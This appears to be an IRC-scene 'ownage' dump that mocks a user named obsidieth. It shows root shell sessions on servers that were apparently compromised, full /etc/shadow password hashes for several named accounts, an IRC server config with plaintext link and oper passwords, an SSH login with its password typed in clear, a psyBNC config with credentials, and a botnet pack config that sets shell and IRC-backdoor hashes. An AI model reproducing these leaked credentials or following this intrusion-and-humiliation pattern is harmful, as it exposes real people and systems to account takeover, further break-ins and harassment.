ircart/ircart/sort/obsidieth.txt

13042 lines
321 KiB
Plaintext
Raw Blame History

Hey obsidieth!
Normally I would add some text before here, ridiculing you, but meh, I'll
let the ownage do the talking. There really is no need for me to say
anything to you.
CA.KILLBOX.INFO
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# uname -a;id
Linux alice 2.6.18-92.1.18.el5.028stab060.2ent #1 SMP Tue Jan 13 12:43:59
MSK 2009 i686 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# w
14:15:41 up 41 days, 1:22, 4 users, load average: 0.27, 0.29, 0.26
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
nataraja pts/1 72.138.11.88 Fri23 7:32m 0.00s 0.00s -bash
obsidiet pts/4 60.240.120.192 12:34 1:22m 0.11s 0.10s ssh
root@ice66.
obsidiet pts/5 60.240.120.192 13:55 10:53 0.06s 0.06s ssh
obsidieth@d
obsidiet pts/6 89.40.71.19 14:14 1.00s 0.00s 0.02s sshd:
obsidieth
sh-3.2#
sh-3.2# cat /etc/shadow
root:CLT5G4uJQL386:14274:0:99999:7:::
daemon:*:14237:0:99999:7:::
bin:*:14237:0:99999:7:::
sys:*:14237:0:99999:7:::
sync:*:14237:0:99999:7:::
games:*:14237:0:99999:7:::
man:*:14237:0:99999:7:::
lp:*:14237:0:99999:7:::
mail:*:14237:0:99999:7:::
news:*:14237:0:99999:7:::
uucp:*:14237:0:99999:7:::
proxy:*:14237:0:99999:7:::
www-data:*:14237:0:99999:7:::
backup:*:14237:0:99999:7:::
list:*:14237:0:99999:7:::
irc:*:14237:0:99999:7:::
gnats:*:14237:0:99999:7:::
nobody:*:14237:0:99999:7:::
libuuid:!:14237:0:99999:7:::
sshd:*:14237:0:99999:7:::
nataraja:$1$Ptj0zS3n$eOD4LqMELBimwFha9T/R91:14274:0:99999:7:::
proftpd:!:14274:0:99999:7:::
ftp:*:14274:0:99999:7:::
obsidieth:$1$reZfdJqr$xK.pygqiR5t4.NU9R6TPo0:14283:0:99999:7:::
oident:*:14283:0:99999:7:::
hub:$1$Qg1Cbr/9$86XIPCqf8DSKA1B.yDR141:14302:0:99999:7:::
dbgi:$1$5cDOU42f$fN.TyQsRDndaRy7GEWb0o.:14304:0:99999:7:::
superuser:$1$JdRY12a4$LJSuAhR3u6wSEa6nMVe3z/:14335:0:99999:7:::
cylex:$1$Ms4.m.qu$zD4ZASt6QM0foAsjoYvQB/:14345:0:99999:7:::
UK.KILLBOX.INFO
root@ns04charlie98:~# id;uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux ns04charlie98 2.6.27-7-server #1 SMP Tue Nov 4 20:18:35 UTC 2008
i686 GNU/Linux
root@ns04charlie98:~# cat /etc/shadow
root:$6$cO04xFG9$wSrhXigzjMDy86CRRHdkh2kmINJhUjAZ0vUW2xpIcpeo6RC2CRO88cPzDpzkbk6z9ikaO3i90LixIyJ5nTu071:14292:0:99999:7:::
daemon:*:14292:0:99999:7:::
bin:*:14292:0:99999:7:::
sys:*:14292:0:99999:7:::
sync:*:14292:0:99999:7:::
games:*:14292:0:99999:7:::
man:*:14292:0:99999:7:::
lp:*:14292:0:99999:7:::
mail:*:14292:0:99999:7:::
news:*:14292:0:99999:7:::
uucp:*:14292:0:99999:7:::
proxy:*:14292:0:99999:7:::
www-data:*:14292:0:99999:7:::
backup:*:14292:0:99999:7:::
list:*:14292:0:99999:7:::
irc:*:14292:0:99999:7:::
gnats:*:14292:0:99999:7:::
nobody:*:14292:0:99999:7:::
libuuid:!:14292:0:99999:7:::
syslog:*:14292:0:99999:7:::
klog:*:14292:0:99999:7:::
sshd:*:14292:0:99999:7:::
messagebus:*:14292:0:99999:7:::
landscape:*:14292:0:99999:7:::
shake:$6$uGHyOQgC$RV8cclBJG6.4vVjcE2mZMhjoDmyRDDjmjKrB3HYDduRhiUaqj19D0WAaM7xaJjLz4L.x.PqH8VQ99jRInis4e
/:14293:0:99999:7:::
obsidieth:$6$Weu4iHaZ$WbAt2zhsf19qnIo8xGPcE7oA1X9xurP6DvU3njRJghXAtNVx8HDwY8KbCY7b2vlWC.rWelRpUjwHf1SY1o0xP1:14298:0:99999:7:::
oident:*:14298:0:99999:7:::
hub:$6$wqL2J6n9$jzxVL1gtN3Pa/LrUEtOJeldP1bv2xEJoKlzlkmb.6/
VUyv2Fkxtt0w3VBSg00pfyHqKsxytoqO8L.3LX5nmqN1:14302:0:99999:7:::
cylex:$6$zFd/
2A97$7C4eIGpwY4NpxSMJABHBUiAFcryfG.IXb2qmo9gYclHWG3uDEbEVtXJ4oUynb9cpo9MMCrpFvC9edqdbZx924.:14320:0:99999:7:::
brez:$6$.PEKiyPx$RQDAbetfAyckMAzEeImUMM4Oywfm1m1AT3zmfCOh1pNGHFfixWh6P.nyh
/BfGPfTZPupLw3o4R3KMORMOBc9a1:14332:0:99999:7:::
superuser:$6$WEi4gziS$NY57Er85IOMX7MNNo.tRMiyVkrwIROHKoro3ZoyyK9T9MhXQ/
0vL1daMGBXHpG2g2RtCSHqoJKKwqEyAl3MQp1:14335:0:99999:7:::
root@ns04charlie98:~#
NITROSHELLS SHELL
┌─(orion@Core.NitroShells.com)─(11:01:35)─--
└(~)─> uname -a
FreeBSD Core.NitroShells.com 7.0-RELEASE-p11 FreeBSD 7.0-RELEASE-p11 #1:
Tue Mar 24 12:02:27 CDT 2009 root@Core.NitroShells.com:/usr/obj/usr/src
/sys/SERV2 i386
┌─(orion@Core.NitroShells.com)─(11:01:35)─--
└(~)─> id
uid=1071(orion) gid=1071(orion) groups=1071(orion),81(ssh),201(shells)
CAN I HAZ O:LINE?
/* doc/example.conf - ircd-ratbox Example configuration file
*
* Copyright (C) 2000-2002 Hybrid Development Team
* Copyright (C) 2002-2003 ircd-ratbox development team
*
* Written by ejb, wcampbel, db, leeh and others
*
* $Id: example.conf 23955 2007-05-14 17:22:36Z leeh $
*/
/* IMPORTANT NOTES:
*
* class {} blocks MUST be specified before anything that uses them. That
* means they must be defined before auth {} and before connect {}.
*
* auth {} blocks MUST be specified in order of precedence. The first one
* that matches a user will be used. So place spoofs first, then
specials,
* then general access, then restricted.
*
* Both shell style (#) and C style comments are supported.
*
* Files may be included by either:
* .include "filename"
* .include <filename>
*
* Times/durations are written as:
* 12 hours 30 minutes 1 second
*
* Valid units of time:
* month, week, day, hour, minute, second
*
* Valid units of size:
* megabyte/mbyte/mb, kilobyte/kbyte/kb, byte
*
* Sizes and times may be singular or plural.
*/
/* EFNET NOTE:
*
* This config file is NOT suitable for EFNet. EFNet admins should use
* example.efnet.conf
*/
/* serverinfo {}: Contains information about the server. (OLD M:) */
serverinfo {
/* name: the name of our server */
name = "blame.ca.syshalt.org";
/* use ts6: whether we want to use the TS6 protocol to other
servers
* or not.
*/
use_ts6 = yes;
/* sid: the unique server id of our server. This must be three
* characters long. The first character must be a digit [0-9],
the
* remaining two chars may be letters [A-Z] or digits [0-9].
*
* This must be specified even if use_ts6 is set to no.
*/
sid = "42Q";
/* description: the description of our server. '[' and ']' may not
* be used here for compatibility with older servers.
*/
description = "Blaze it up~!";
/* network info: the name and description of the network this
server
* is on. Shown in the 005 reply and used with serverhiding.
*/
network_name = "syshalt";
network_desc = "Syshalt IRC";
/* hub: allow this server to act as a hub and have multiple
servers
* connected to it.
*/
hub = no;
/* vhost: the IP to bind to when we connect outward to ipv4
servers.
* This should be an ipv4 IP only.
*/
vhost = "38.99.170.99";
/* vhost6: the IP to bind to when we connect outward to ipv6
servers.
* This should be an ipv6 IP only.
*/
#vhost6 = "3ffe:80e8:546::2";
/* default max clients: the default maximum number of clients
* allowed to connect. This can be changed once ircd has started
by
* issuing:
* /quote set maxclients <limit>
*/
default_max_clients = 10000;
};
/* admin {}: contains admin information about the server. (OLD A:) */
admin {
name = "shield";
description = "Server Administrator";
email = "<webmaster@boxlinkinc.com>";
};
/* log {}: contains information about logfiles. */
log {
/* logfiles: the logfiles to use for specific activity. if these
* paths are defined, then ircd will log to them, otherwise it
wont.
*
* The confs are, in order:
* - userlog: user exits
* - fuserlog: failed user connections
* - operlog: /oper usage
* - foperlog: failed /oper usage
* - serverlog: server connects/disconnects
* - glinelog: glines
* - klinelog: klines, etc
* - killlog: kills
* - operspylog: operspy usage
* - ioerrorlog: IO errors
*/
fname_userlog = "logs/userlog";
#fname_fuserlog = "logs/fuserlog";
fname_operlog = "logs/operlog";
#fname_foperlog = "logs/foperlog";
fname_serverlog = "logs/serverlog";
fname_glinelog = "logs/glinelog";
#fname_klinelog = "logs/klinelog";
fname_killlog = "logs/killlog";
fname_operspylog = "logs/operspylog";
#fname_ioerrorlog = "logs/ioerror";
};
/* class {}: contain information about classes for users (OLD Y:) */
class "users" {
/* class name must go above */
/* ping time: how often a client must reply to a PING from the
* server before they are dropped.
*/
ping_time = 2 minutes;
/* number per ident: the number of users per user@host networkwide
* allowed to connect. Unidented connections are classified as
* the same ident.
*/
number_per_ident = 2;
/* number per ip: the number of local users per host allowed */
number_per_ip = 3;
/* number per ip global: the number of network wide connections
* per host allowed for a user, including connections to the
* local server.
*/
number_per_ip_global = 5;
/* cidr_bitlen: Limits numbers of connections from a subnet size
* the following example makes the subnet /64 this is useful
* for IPv6 connections in particular
* Also note that the way ircd-ratbox is written if you have
* compiled support for IPv6, IPv4 cidr bitlens need to be
modified
* Basically to get the approriate length add 96 to the IPv4
length
* For example for a /24 do 96+24 = 120
*
*/
cidr_bitlen = 64;
/* number_per_cidr: Number of connections to allow from a subnet
of the
* size given in cidr_bitlen. 4 seems to be a good default to me.
*/
number_per_cidr = 4;
/* max number: the maximum number of users allowed in this class *
/
max_number = 100;
/* sendq: the amount of data allowed in a clients queue before
* they are dropped.
*/
sendq = 100 kbytes;
};
class "restricted" {
ping_time = 1 minute 30 seconds;
number_per_ip = 1;
max_number = 100;
sendq = 60kb;
};
class "opers" {
ping_time = 5 minutes;
number_per_ip = 10;
max_number = 100;
sendq = 100kbytes;
};
class "server" {
ping_time = 5 minutes;
/* connectfreq: only used in server classes. specifies the delay
* between autoconnecting to servers.
*/
connectfreq = 5 minutes;
/* max number: the amount of servers to autoconnect to */
max_number = 1;
/* sendq: servers need a higher sendq as they send more data */
sendq=2 megabytes;
};
/* listen {}: contain information about the ports ircd listens on (OLD P:)
*/
listen {
/* port: the specific port to listen on. if no host is specified
* before, it will listen on all available IPs.
*
* ports are seperated via a comma, a range may be specified using
".."
*/
/* port: listen on all available IPs, ports 5000 and 6665 to 6669
*/
port = 5000, 6665 .. 6669;
port = 9812;
/* host: set a specific IP/host the ports after the line will
listen
* on. This may be ipv4 or ipv6.
*/
host = "38.99.170.99";
port = 7000, 6667, 6668;
};
auth {
user = "*@*";
class = "users";
};
/* operator {}: defines ircd operators. (OLD O:)
* ircd-ratbox no longer supports local operators, privileges are
* controlled via flags.
*/
operator "shield" {
/* name: the name of the oper must go above */
/* user: the user@host required for this operator. CIDR *is*
* supported now.
* multiple user="" lines are supported.
*/
user = "shield@*";
/* password: the password required to oper. Unless ~encrypted is
* contained in flags = ...; this will need to be encrypted using
* mkpasswd, MD5 is supported
*/
password = "nickname;
/* rsa key: the public key for this oper when using Challenge.
* A password should not be defined when this is used, see
* doc/challenge.txt for more information.
*/
#rsa_public_key_file = "/usr/local/ircd/etc/oper.pub";
/* umodes: the specific umodes this oper gets when they oper.
* If this is specified an oper will not be given oper_umodes
* These are described above oper_only_umodes in general {};
*/
#umodes = locops, servnotice, operwall, wallop;
/* privileges: controls the activities and commands an oper is
* allowed to do on the server. You may prefix an option with ~
to
* disable it, ie ~operwall
*
* Default flags are operwall, remoteban and encrypted.
*
* Available options:
*
* encrypted: the password specified above is encrypted
[DEFAULT]
* local_kill: allows local users to be /KILL'd
* global_kill: allows local and remote users to be
* /KILL'd (OLD 'O' flag)
* remote: allows remote SQUIT and CONNECT (OLD 'R' flag)
* kline: allows KILL, KLINE and DLINE (OLD 'K' flag)
* unkline: allows UNKLINE and UNDLINE (OLD 'U' flag)
* gline: allows GLINE (OLD 'G' flag)
* nick_changes: allows oper to see nickchanges (OLD 'N' flag)
* via usermode +n
* rehash: allows oper to REHASH config (OLD 'H' flag)
* die: allows DIE and RESTART (OLD 'D' flag)
* admin: gives admin privileges. admins
* may (un)load modules and see the
* real IPs of servers.
* hidden_admin: gives admin privileges except
* will not have the admin lines in
* stats p and whois.
* xline: allows use of /quote xline/unxline
* operwall: allows the oper to send operwalls [DEFAULT]
* oper_spy: allows 'operspy' features to see through +s
* channels etc. see /quote help operspy
* hidden_oper: hides the oper from /stats p (OLD UMODE +p)
* remoteban: allows remote kline etc [DEFAULT]
*/
flags = global_kill, remote, kline, unkline, gline,
die, rehash, admin, xline, operwall;
};
/* connect {}: controls servers we connect to (OLD C:, N:, H:, L:) */
connect "rolled.va.syshalt.org" {
host = "98.185.24.167";
#vhost = "192.168.0.50";
send_password = "b0xlinK420";
accept_password = "linKb0x420";
port = 9812;
hub_mask = "*";
#leaf_mask = "*.uk";
class = "server";
flags = compressed, topicburst, autoconn;
};
/* cluster {}; servers that we propagate things to automatically.
* NOTE: This does NOT grant them privileges to apply anything locally,
* you must add a seperate shared block for that. Clustering will
* only be done for actions by LOCAL opers, that arent directed
* remotely.
*/
cluster {
/* name: the server to share with, this can be a wildcard and may
be
* stacked.
*/
/* flags: list of what to share, all the name lines above this (up
* until another flags entry) will receive these flags.
*
* kline - share perm klines
* tkline - share temp klines
* unkline - share unklines
* locops - share locops
* xline - share perm xlines
* txline - share temp xlines
* unxline - share unxlines
* resv - share perm resvs
* tresv - share temp resvs
* unresv - share unresvs
* all - share all of the above
*/
/* share klines/unklines/xlines with *.lan */
name = "*.lan";
flags = kline, unkline, xline;
};
/* If you are using the ratbox-services compatibility code, uncomment
this. */
/* service{}: privileged servers (services). These servers have extra
* privileges such as setting login names on users and introducing clients
* with umode +S (unkickable). This does not allow them to set bans, you
* need a separate shared{} for that.
* Do not place normal servers here.
* There may be only one service{} block.
*/
#service {
# /* name: the server name. These may be stacked. */
# name = "ratbox.services";
#};
/* shared {}: users that are allowed to place remote bans on our server.
* NOTE: These are ordered top down. The first one the user@host and
server
* matches will be used. Their access will then be decided on that
* block and will not fall back to another block that matches.
*/
/* The channel block contains options pertaining to channels */
channel {
/* invex: Enable/disable channel mode +I, a n!u@h list of masks
* that can join a +i channel without an invite.
*/
use_invex = yes;
/* except: Enable/disable channel mode +e, a n!u@h list of masks
* that can join a channel through a ban (+b).
*/
use_except = yes;
/* knock: Allows users to request an invite to a channel that
* is locked somehow (+ikl). If the channel is +p or you are
banned
* the knock will not be sent.
*/
use_knock = yes;
/* invite ops only: Restrict /invite to ops on channels, rather
than
* allowing unopped users to invite people to a -i channel.
*/
invite_ops_only = yes;
/* knock delay: The amount of time a user must wait between
issuing
* the knock command.
*/
knock_delay = 5 minutes;
/* knock channel delay: How often a knock to any specific channel
* is permitted, regardless of the user sending the knock.
*/
knock_delay_channel = 1 minute;
/* max chans: The maximum number of channels a user can join/be
on. */
max_chans_per_user = 15;
/* quiet on ban: stop banned people talking in channels. */
quiet_on_ban = yes;
/* max bans: maximum number of +b/e/I modes in a channel */
max_bans = 25;
/* splitcode: split users, split servers and either no join on
split
* or no create on split must be enabled for split checking.
* splitmode will be entered on either split users or split
servers
* dropping below the limit.
*
* you may force splitmode to be permanent by /quote set splitmode
on
*/
/* split users: when the usercount is lower than this level,
consider
* ourselves split. this must be set for automatic splitmode
*/
default_split_user_count = 0;
/* split servers: when the amount of servers that have
acknowledged
* theyve finished bursting is lower than this, consider ourselves
* split. this must be set for automatic splitmode
*/
default_split_server_count = 0;
/* split: no create: disallow users creating channels on split */
no_create_on_split = no;
/* split: no join: disallow users joining channels at all on a
split */
no_join_on_split = no;
/* burst topicwho: when bursting topics, also burst the topic
setter */
burst_topicwho = yes;
};
/* The serverhide block contains the options regarding serverhiding */
serverhide {
/* flatten links: this option will show all servers in /links
appear
* that they are linked to this current server
*/
flatten_links = no;
/* links delay: how often to update the links file when it is
* flattened.
*/
links_delay = 5 minutes;
/* hidden: hide this server from a /links output on servers that
* support it. this allows hub servers to be hidden etc.
*/
hidden = no;
/* disable hidden: prevent servers hiding themselves from a
* /links ouput.
*/
disable_hidden = no;
};
/* The general block contains many of the options that were once compiled
* in options in config.h. The general block is read at start time.
*/
general {
/* hide error messages: defines whether error messages from
* servers are hidden or not. These can sometimes contain IPs and
* can have an adverse effect on server ip hiding. Set to:
* yes: hide from opers and admin
* opers: hide from opers only
* no: do not hide error messages
*/
hide_error_messages = opers;
/* hide spoof ips: hide the real ips of spoofed users */
hide_spoof_ips = yes;
/* default invisible: set clients +i on connect */
default_invisible = no;
/* default operstring: defines the default oper response
* in /whois queries, eg "is an IRC Operator"
*/
default_operstring = "is an IRC Operator";
/* default adminstring: defines the default admin response
* in /whois queries, eg "is a Server Administrator"
*/
default_adminstring = "is a Server Administrator";
/* tkline_expire_notices: give a notice to opers when a tkline
* expires
*/
tkline_expire_notices = no;
/* floodcount: the default value of floodcount that is
configurable
* via /quote set floodcount. This is the amount of lines a user
* may send to any other user/channel in one second.
*/
default_floodcount = 10;
/* disable fake channels: disable local users joining fake
versions
* of channels, eg #foo^B^B. Disables bold, mirc colour, reverse,
* underline and hard space. (ASCII 2, 3, 22, 31, 160
respectively).
*/
disable_fake_channels = no;
/* failed oper notice: send a notice to all opers on the server
when
* someone tries to OPER and uses the wrong password, host or
ident.
*/
failed_oper_notice = yes;
/* dots in ident: the amount of '.' characters permitted in an
ident
* reply before the user is rejected.
*/
dots_in_ident=2;
/* dot in ipv6: ircd-hybrid-6.0 and earlier will disallow hosts
* without a '.' in them. this will add one to the end. only
needed
* for older servers.
*/
dot_in_ip6_addr = no;
/* min nonwildcard: the minimum non wildcard characters in k/d/g
lines
* placed via the server. klines hand placed are exempt from
limits.
* wildcard chars: '.' '*' '?' '@'
*/
min_nonwildcard = 4;
/* min nonwildcard simple: the minimum non wildcard characters in
* xlines/resvs placed via the server.
* wildcard chars: '*' '?'
*/
min_nonwildcard_simple = 3;
/* max accept: maximum allowed /accept's for +g usermode */
max_accept = 20;
/* max monitor: the maximum amount of nicknames a client may have
in
* their monitor (server-side notify) list.
*/
max_monitor = 100;
/* nick flood: enable the nickflood control code */
anti_nick_flood = yes;
/* nick flood: the nick changes allowed in the specified period */
max_nick_time = 20 seconds;
max_nick_changes = 5;
/* anti spam time: the minimum time a user must be connected
before
* custom quit messages are allowed.
*/
anti_spam_exit_message_time = 5 minutes;
/* ts delta: the time delta allowed between server clocks before
* a warning is given, or before the link is dropped. all servers
* should run ntpdate/rdate to keep clocks in sync
*/
ts_warn_delta = 30 seconds;
ts_max_delta = 5 minutes;
/* client exit: prepend a users quit message with "Client exit: "
*/
client_exit = yes;
/* dline reason: show the user the dline reason when they connect
* and are dlined.
*/
dline_with_reason = yes;
/* kline delay: delay the checking of klines until a specified
time.
* Useful if large kline lists are applied often to prevent the
* server eating CPU.
*/
kline_delay = 0 seconds;
/* kline reason: show the user the reason why they are k/d/glined
* on exit. may give away who set k/dline when set via tcm.
*/
kline_with_reason = yes;
/* kline reason: make the users quit message on channels this
* reason instead of the oper's reason.
*/
kline_reason = "Connection closed";
/* non redundant klines: flag and ignore redundant klines */
non_redundant_klines = yes;
/* warn no nline: warn opers about servers that try to connect but
* we dont have a connect {} block for. Twits with misconfigured
* servers can get really annoying with this enabled.
*/
warn_no_nline = yes;
/* stats e disabled: disable stats e. useful if server ips are
* exempted and you dont want them listing on irc.
*/
stats_e_disabled = no;
/* stats c oper only: make stats c (connect {}) oper only */
stats_c_oper_only=no;
/* stats h oper only: make stats h (hub_mask/leaf_mask) oper only
*/
stats_h_oper_only=no;
/* stats y oper only: make stats y (class {}) oper only */
stats_y_oper_only=no;
/* stats o oper only: make stats o (opers) oper only */
stats_o_oper_only=yes;
/* stats P oper only: make stats P (ports) oper only
* NOTE: users doing stats P will never be given the ips that the
* server listens on, simply the ports.
*/
stats_P_oper_only=no;
/* stats i oper only: make stats i (auth {}) oper only. set to:
* yes: show users no auth blocks, made oper only.
* masked: show users first matching auth block
* no: show users all auth blocks.
*/
stats_i_oper_only=masked;
/* stats k/K oper only: make stats k/K (klines) oper only. set
to:
* yes: show users no auth blocks, made oper only
* masked: show users first matching auth block
* no: show users all auth blocks.
*/
stats_k_oper_only=masked;
/* map oper only: make /map oper only */
map_oper_only = no;
/* operspy admin only: make operspy notices to +Z admin only */
operspy_admin_only = no;
/* caller id wait: time between notifying a +g user that somebody
* is messaging them.
*/
caller_id_wait = 1 minute;
/* pace wait simple: time between use of less intensive commands
* (HELP, remote WHOIS, WHOWAS)
*/
pace_wait_simple = 1 second;
/* pace wait: time between more intensive commands
* (ADMIN, INFO, LIST, LUSERS, MOTD, STATS, VERSION)
*/
pace_wait = 10 seconds;
/* short motd: send clients a notice telling them to read the motd
* instead of forcing a motd to clients who may simply ignore it.
*/
short_motd = no;
/* ping cookies: require clients to respond exactly to a ping
command,
* can help block certain types of drones and FTP PASV mode
spoofing.
*/
ping_cookie = no;
/* connect timeout: sets how long we should wait for a connection
* request to succeed
*/
connect_timeout = 30 seconds;
/* disable auth: disables identd checking */
disable_auth = no;
/* no oper flood: increase flood limits for opers. */
no_oper_flood = yes;
/* glines: enable glines, network wide temp klines */
glines = yes;
/* gline time: the amount of time a gline will remain before
expiring */
gline_time = 1 day;
/* gline_min_cidr: If using a CIDR gline, the minimum length the
* mask must be
*/
gline_min_cidr = 16;
/* idletime: the maximum amount of time a user may idle before
* they are disconnected
*/
idletime = 0;
/* REMOVE ME. The following line checks you've been reading. */
/* max targets: the maximum amount of targets in a single
* PRIVMSG/NOTICE. set to 999 NOT 0 for unlimited.
*/
max_targets = 4;
/* client flood: maximum number of lines in a clients queue before
* they are dropped for flooding.
*/
client_flood = 20;
/* use_whois_actually: send clients requesting a whois a numeric
* giving the real IP of non-spoofed clients to prevent DNS abuse.
*/
use_whois_actually = yes;
/* usermodes configurable: a list of usermodes for the options
below
*
* +b - bots - See bot and drone flooding notices
* +c - cconn - Client connection/quit notices
* +C - cconnext - Extended client connection/quit notices
* +d - debug - See debugging notices
* +f - full - See I: line full notices
* +g - callerid - Server Side Ignore
* +i - invisible - Not shown in NAMES or WHO unless you share a
* a channel
* +k - skill - See server generated KILL messages
* +l - locops - See LOCOPS messages
* +n - nchange - See client nick changes
* +r - rej - See rejected client notices
* +s - servnotice - See general server notices
* +u - unauth - See unauthorised client notices
* +w - wallop - See server generated WALLOPS
* +x - external - See remote server connection and split
notices
* +y - spy - See LINKS, STATS, TRACE notices etc.
* +z - operwall - See oper generated WALLOPS
* +Z - operspy - See operspy notices
*/
/* oper only umodes: usermodes only opers may set */
oper_only_umodes = bots, cconn, debug, full, skill, nchange,
rej, spy, external, operwall, locops, unauth;
/* oper umodes: default usermodes opers get when they /oper */
oper_umodes = locops, servnotice, operwall, wallop;
/* servlink path: path to 'servlink' program used by ircd to
handle
* encrypted/compressed server <-> server links.
*
* only define if servlink is not in same directory as ircd
itself.
*/
#servlink_path = "/usr/local/ircd/bin/servlink";
/* use egd: if your system does not have *random devices yet you
* want to use OpenSSL and encrypted links, enable this. Beware -
* EGD is *very* CPU intensive when gathering data for its pool
*/
#use_egd = yes;
/* egdpool path: path to EGD pool. Not necessary for OpenSSL >=
0.9.7
* which automatically finds the path.
*/
#egdpool_path = "/var/run/egd-pool";
/* compression level: level of compression for compressed links
between
* servers.
*
* values are between: 1 (least compression, fastest)
* and: 9 (most compression, slowest).
*/
#compression_level = 6;
/* burst_away: This enables bursting away messages to servers.
* With this disabled, we will only propogate AWAY messages
* as users send them, but never burst them. Be warned though
* enabling this could increase the size of a burst significantly
* for a large network, like EFnet.
*/
burst_away = yes;
/* reject time: the amount of rejections through klines/dlines etc
* allowed in the given time before the rejection is cached and
* a pseudo temp dline is placed
*/
reject_ban_time = 1 minute;
reject_after_count = 3;
/* reject duration: the amount of time to cache the rejection */
reject_duration = 5 minutes;
/* max_unknown_ip: maximum number of pending connections to the
server
* that are allowed per IP address
*/
max_unknown_ip = 2;
};
modules {
/* module path: paths to search for modules specified below and
* in /modload.
*/
path = "/home/boxlink/ircd/modules";
path = "/home/boxlink/ircd/modules/autoload";
/* module: the name of a module to load on startup/rehash */
#module = "some_module.so";
};
LAGGING.NET SHELL
sh-3.2# ssh odog@lagging.net
odog@lagging.net's password: sponberg
Last login: Sun Apr 12 10:54:11 2009 from ca.killbox.info
Linux stealth 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686
Linux stealth 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686
Welcome to stealth.kire.net, odog!
You have just logged into KIRE
..::: Your (K)ey (I)nnovative (R)eliable (E)dge :::..
_________________________ __________________________
.' * KIRE Shell Commands * `. .' * Customer Service * `.
| ------------------------- | | -------------------------- |
| read/write e-mail: 'pine' | | toll free: 1-877-KIRENET |
| linux web browser: 'lynx' | | billing: sales@kirenet.com |
| shell irc apps: 'clients' | | tech: support@kirenet.com |
| auto setup menu: 'setup' | | admins: admins@kirenet.com |
| view vhost list: 'vhosts' | | web: http://www.kire.net |
`._________________________.' `.__________________________.'
10:57:25 up 32 days, 17:53, 7 users, load average: 0.41, 0.41, 0.48
(odog@stealth:~) uname -a;id
Linux stealth 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/
Linux
uid=3028(odog) gid=100(users) groups=100(users)
$ ls -la dox
total 1744
drwxr-xr-x 9 me me 4096 2009-04-13 03:20 .
drwxr-xr-x 3 me me 4096 2009-04-13 03:20 ..
drwxr-xr-x 12 me me 4096 2009-04-13 03:20 eggdrop
drwxr-xr-x 10 me me 4096 2009-04-13 03:20 eggdrop1.6.19
-rw-r--r-- 1 me me 1033152 2009-03-17 22:22 eggdrop1.6.19.tar.gz
drwxr-xr-x 3 me me 4096 2009-04-13 03:20 hub
drwxr-xr-x 11 me me 4096 2009-04-13 03:20 psybnc
-rw-r--r-- 1 me me 312177 2005-08-19 14:52 psyBNC-2.3.2-7.tar.gz
drwxr-xr-x 3 me me 4096 2009-04-13 03:20 public_html
drwxr-xr-x 2 me me 4096 2009-04-13 03:20 tmp
drwxr-xr-x 5 me me 4096 2009-04-13 03:20 znc-0.062
-rw-r--r-- 1 me me 382123 2008-12-06 10:40 znc-0.062.tar.gz
me@me-desktop:~/Documents/hax/current/obsidieth/shell@lagging.net$
$ cat psybnc.conf
PSYBNC.HOSTALLOWS.ENTRY0=*;*
PSYBNC.SYSTEM.HOST1=*
PSYBNC.SYSTEM.PORT1=33000
USER1.USER.LOGIN=odog
USER1.USER.USER=odog
USER1.USER.PASS==0C'$`Z`D1q'B`I`Z'7
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.VHOST=lagging.net
USER1.USER.NICK=obs|dieth
USER1.SERVERS.SERVER1=irc.shoutcast.com
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY1=#187
USER1.CHANNELS.KEY1=+1R1Q1&23202u2o2H1L
USER1.CHANNELS.ENTRY2=#24/7
USER1.CHANNELS.ENTRY3=#2<>000
USER1.CHANNELS.ENTRY4=#30plus
USER1.CHANNELS.ENTRY5=#addiction
USER1.CHANNELS.ENTRY6=#anus
USER1.CHANNELS.ENTRY7=#anxiety
USER1.CHANNELS.ENTRY8=#c1zc0
USER1.CHANNELS.ENTRY9=#channel
USER1.CHANNELS.ENTRY10=#crank
USER1.CHANNELS.ENTRY11=#crunk
USER1.CHANNELS.ENTRY13=#Efnet.Dinosaurs
USER1.CHANNELS.ENTRY14=#freeShit
USER1.CHANNELS.ENTRY15=#glow
USER1.CHANNELS.ENTRY16=#Help
USER1.CHANNELS.ENTRY17=#Hydroponics
USER1.CHANNELS.ENTRY18=#I_TAKE_IRC_SERIOUSLY
USER1.CHANNELS.ENTRY19=#ignorant
USER1.CHANNELS.ENTRY20=#irc-mafia
USER1.CHANNELS.ENTRY21=#Irc-operators
USER1.CHANNELS.ENTRY22=#ircaddict
USER1.CHANNELS.ENTRY23=#lords
USER1.CHANNELS.ENTRY24=#OlsenTwins
USER1.CHANNELS.ENTRY26=#trill
USER1.CHANNELS.ENTRY27=#trusted
USER1.CHANNELS.ENTRY12=#on-a-stick
USER1.CHANNELS.ENTRY25=#efnet
USER1.CHANNELS.ENTRY0=#flirts
USER1.CHANNELS.ENTRY28=#ubun2
$ cat pack.cfg
/* The < && > indicates the area you must change!
* Do not leave the <>
* Credit to Excelsior / CELDROP for this design
*/
/* PACKNAME: name of the pack */
PACKNAME catalept
/* HASHES
* These must remain 100% secure/private, these keys can retrieve the
salts, and
* the entire botnet could be hijacked, a pass 8 chars or more is
suggested
* DO NOT FORGET THESE, SAVE THEM IN A SAFE PLACE, THEY CANNOT BE
RECOVERED.
* ONLY SEND ME MD5 HASHES, I WILL NOT HASH IT FOR YOU AND I DO NOT WANT
TO KNOW
* YOUR PASSES.
*/
/* SHELLHASH: 32 char md5 hash used for binary password
* in mIRC: //echo -a $MD5(SOMEWORD)
* URL: http://www.shatow.net/crypt/
*/
SHELLHASH a8f5f167f44f4964e6c998dee827110c
/* BDHASH: 32 char MD5 hash used for IRC backdoor
* in mIRC: //echo -a $MD5(SOMEWORD)
* URL: http://www.shatow.net/crypt/
# NOTE: Botlink uses this for linking, if it is changed on a bot, it wont
link to another
bot unless
